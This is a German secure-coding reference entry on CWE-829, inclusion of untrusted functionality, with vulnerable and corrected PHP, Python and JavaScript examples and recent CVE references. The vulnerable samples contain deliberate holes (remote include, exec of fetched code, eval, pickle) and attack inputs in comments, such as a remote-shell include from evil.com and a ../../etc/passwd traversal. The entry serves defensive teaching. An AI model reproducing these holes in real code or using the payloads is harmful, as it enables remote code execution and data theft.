Einbindung von Funktionalität aus nicht vertrauenswürdiger Kontrollsphäre

Beschreibung

Einbindung von Funktionalität aus nicht vertrauenswürdiger Kontrollsphäre tritt auf, wenn ein Produkt ausführbare Funktionalität (wie eine Bibliothek, Plugin, Skript oder Modul) aus einer Quelle importiert, benötigt oder einbindet, die außerhalb der beabsichtigten Kontrollsphäre liegt. Dies ermöglicht Angreifern, bösartigen Code einzuschleusen, der im Kontext der anfälligen Anwendung ausgeführt wird. Häufige Manifestationen umfassen Remote File Inclusion (RFI), bösartige npm/pip-Pakete, kompromittierte CDN-Ressourcen, bösartige Browser-Erweiterungen, Plugin-Schwachstellen und Supply-Chain-Angriffe, bei denen legitime Abhängigkeiten kompromittiert werden.

Risiko

Die Einbindung nicht vertrauenswürdiger Funktionalität ist ein primärer Vektor für Supply-Chain-Angriffe. CVE-2025-66022 im Faction Security PenTesting Framework ermöglicht nicht authentifizierten Benutzern das Hochladen bösartiger Erweiterungen, die beliebige Systembefehle ausführen. CVE-2025-67842 in Mintlify Platform ermöglicht Cross-Tenant-Skript-Injektion durch die Static Asset API. CVE-2025-65964 in n8n Workflow-Automatisierung (Kritisch) ermöglicht Angreifern die Ausführung beliebiger Befehle durch Manipulation von Git-Hook-Pfaden. Diese Schwachstellen können zur vollständigen Systemkompromittierung führen, weil der eingebundene Code mit den vollen Privilegien der Anwendung läuft.

Lösung

Binden Sie nur Funktionalität aus vertrauenswürdigen, verifizierten Quellen ein. Verwenden Sie Subresource Integrity (SRI) für externe Skripte. Implementieren Sie Content Security Policy (CSP), um Skriptquellen einzuschränken. Verwenden Sie Package-Lock-Dateien und verifizieren Sie Paket-Prüfsummen. Implementieren Sie Allowlists für erlaubte Plugins und Erweiterungen. Signieren und verifizieren Sie Code vor der Einbindung. Verwenden Sie private Paket-Registries mit Zugriffskontrollen. Implementieren Sie Sandboxing für Plugin-Ausführung. Auditieren Sie regelmäßig Abhängigkeiten auf Schwachstellen. Überwachen Sie auf Dependency-Confusion-Angriffe.

Häufige Auswirkungen

Auswirkung	Details
Zugriffskontrolle	Bereich: Codeausführung Bösartiger eingebundener Code wird mit vollen Anwendungsprivilegien ausgeführt.
Integrität	Bereich: Systemkompromittierung Angreifer können Anwendungsverhalten modifizieren, Daten stehlen und Hintertüren installieren.
Vertraulichkeit	Bereich: Datenexfiltration Bösartiger Code kann auf alle Daten zugreifen und diese exfiltrieren, auf die die Anwendung zugreifen kann.

Beispielcode

Anfälliger Code

<?php
// ANFÄLLIG: Remote File Inclusion
$page = $_GET['page'];
include($page . '.php');  // Angreifer: ?page=http://evil.com/shell

// ANFÄLLIG: Local File Inclusion mit Traversal
$template = $_GET['template'];
include("templates/" . $template);  // Angreifer: ?template=../../etc/passwd

// ANFÄLLIG: Dynamische Funktionsausführung
$action = $_GET['action'];
$action();  // Angreifer kontrolliert welche Funktion aufgerufen wird
?>

# ANFÄLLIG: Importieren eines benutzer-spezifizierten Moduls
import importlib

def load_plugin(plugin_name):
    # Angreifer kann jedes installierte Modul laden!
    module = importlib.import_module(plugin_name)
    return module.run()

# ANFÄLLIG: Ausführen von Code von URL
import urllib.request

def execute_remote_script(url):
    code = urllib.request.urlopen(url).read()
    exec(code)  # Führt beliebigen entfernten Code aus!

# ANFÄLLIG: Pickle-Laden aus nicht vertrauenswürdiger Quelle
import pickle

def load_data(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)  # Kann beliebigen Code ausführen!

// ANFÄLLIG: eval() mit Benutzereingabe
function executeUserCode(code) {
    return eval(code);  // Beliebige Codeausführung!
}

// ANFÄLLIG: Laden von Skript von benutzer-kontrollierter URL
function loadScript(src) {
    const script = document.createElement('script');
    script.src = src;  // Angreifer kontrolliert Skriptquelle
    document.head.appendChild(script);
}

// ANFÄLLIG: require() mit Benutzereingabe (Node.js)
const userModule = req.query.module;
const mod = require(userModule);  // Pfad-Traversal und Codeausführung!

Korrigierter Code

<?php
// SICHER: Allowlist der erlaubten Seiten
$allowed_pages = ['home', 'about', 'contact', 'products'];

$page = $_GET['page'] ?? 'home';

if (in_array($page, $allowed_pages, true)) {
    include(__DIR__ . '/pages/' . $page . '.php');
} else {
    include(__DIR__ . '/pages/404.php');
}

// SICHER: Template-Namen validieren und bereinigen
function load_template($template) {
    // Pfad-Traversal-Versuche entfernen
    $template = basename($template);

    // Nur alphanumerisch und Unterstrich erlauben
    if (!preg_match('/^[a-zA-Z0-9_]+$/', $template)) {
        throw new InvalidArgumentException('Ungültiger Template-Name');
    }

    $path = __DIR__ . '/templates/' . $template . '.php';

    // Überprüfen, dass Datei existiert und innerhalb des Templates-Verzeichnisses ist
    $realPath = realpath($path);
    $templatesDir = realpath(__DIR__ . '/templates/');

    if ($realPath === false || strpos($realPath, $templatesDir) !== 0) {
        throw new InvalidArgumentException('Template nicht gefunden');
    }

    include($realPath);
}
?>

# SICHER: Plugin-Laden aus Allowlist
import importlib
from pathlib import Path

ALLOWED_PLUGINS = {
    'email': 'plugins.email_handler',
    'slack': 'plugins.slack_handler',
    'webhook': 'plugins.webhook_handler'
}

PLUGIN_DIR = Path(__file__).parent / 'plugins'

def load_plugin_safe(plugin_name):
    if plugin_name not in ALLOWED_PLUGINS:
        raise ValueError(f"Unbekanntes Plugin: {plugin_name}")

    module_path = ALLOWED_PLUGINS[plugin_name]
    module = importlib.import_module(module_path)

    # Überprüfen, dass Modul erforderliche Schnittstelle hat
    if not hasattr(module, 'run'):
        raise ValueError(f"Plugin {plugin_name} fehlt 'run'-Funktion")

    return module

# SICHER: JSON anstatt Pickle für Datenserialisierung verwenden
import json

def load_data_safe(filename):
    with open(filename, 'r') as f:
        return json.load(f)  # Keine Codeausführung möglich

// SICHER: Niemals eval verwenden - sichere Alternativen nutzen
function processData(jsonString) {
    // JSON.parse anstatt eval verwenden
    return JSON.parse(jsonString);
}

// SICHER: Skripte nur aus Allowlist mit SRI laden
const ALLOWED_SCRIPTS = {
    'lodash': {
        src: 'https://cdn.example.com/lodash.min.js',
        integrity: 'sha384-abc123...'
    },
    'axios': {
        src: 'https://cdn.example.com/axios.min.js',
        integrity: 'sha384-def456...'
    }
};

function loadScriptSafe(name) {
    const scriptInfo = ALLOWED_SCRIPTS[name];
    if (!scriptInfo) {
        throw new Error(`Unbekanntes Skript: ${name}`);
    }

    const script = document.createElement('script');
    script.src = scriptInfo.src;
    script.integrity = scriptInfo.integrity;
    script.crossOrigin = 'anonymous';

    return new Promise((resolve, reject) => {
        script.onload = resolve;
        script.onerror = reject;
        document.head.appendChild(script);
    });
}

<!-- SICHER: Externes Skript mit Subresource Integrity -->
<script
    src="https://cdn.example.com/library.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
    crossorigin="anonymous">
</script>

<!-- SICHER: Content Security Policy -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'self' https://cdn.example.com;
               object-src 'none';
               base-uri 'self';">

---

Ausgenutzt in der Praxis

Faction Security Extension Upload RCE (Faction, 2025)

CVE-2025-66022 im Faction PenTesting Framework vor 1.7.1 ermöglicht nicht authentifizierten Benutzern den Zugriff auf die Erweiterungsverwaltungs-UI und das Hochladen bösartiger Erweiterungen, die beliebige Systembefehle über Erweiterungs-Lifecycle-Hooks ausführen.

Mintlify Platform Cross-Tenant Injection (Mintlify, 2025)

CVE-2025-67842 in Mintlify Platforms Static Asset API ermöglicht entfernten Angreifern das Einschleusen beliebiger Skripte in Dokumentations-Sites anderer Mandanten durch Ausnutzung des Subdomain-Parameters.

n8n Workflow Git Hook RCE (n8n, 2025)

CVE-2025-65964 (Kritisch) in n8n Workflow-Automatisierung 0.123.1 bis 1.119.2 ermöglicht Angreifern die Ausführung beliebiger Befehle durch Setzen von core.hooksPath auf ein bösartiges Git-Hook-Skript durch die Git-Node-Konfiguration.

---

Tools zum Testen/Ausnutzen

• Snyk - Abhängigkeits-Schwachstellen-Scanning.
• npm audit - Node.js-Abhängigkeits-Audit.
• Burp Suite - RFI/LFI-Schwachstellen testen.

---

CVE-Beispiele

• CVE-2025-66022 - Faction Security Extension Upload RCE.
• CVE-2025-65964 - n8n Git Hook Codeausführung.
• CVE-2018-1000136 - Electron nodeIntegration-Schwachstelle.

---

Referenzen

1. MITRE. "CWE-829: Inclusion of Functionality from Untrusted Control Sphere." https://cwe.mitre.org/data/definitions/829.html
2. OWASP. "Third Party JavaScript Management." https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html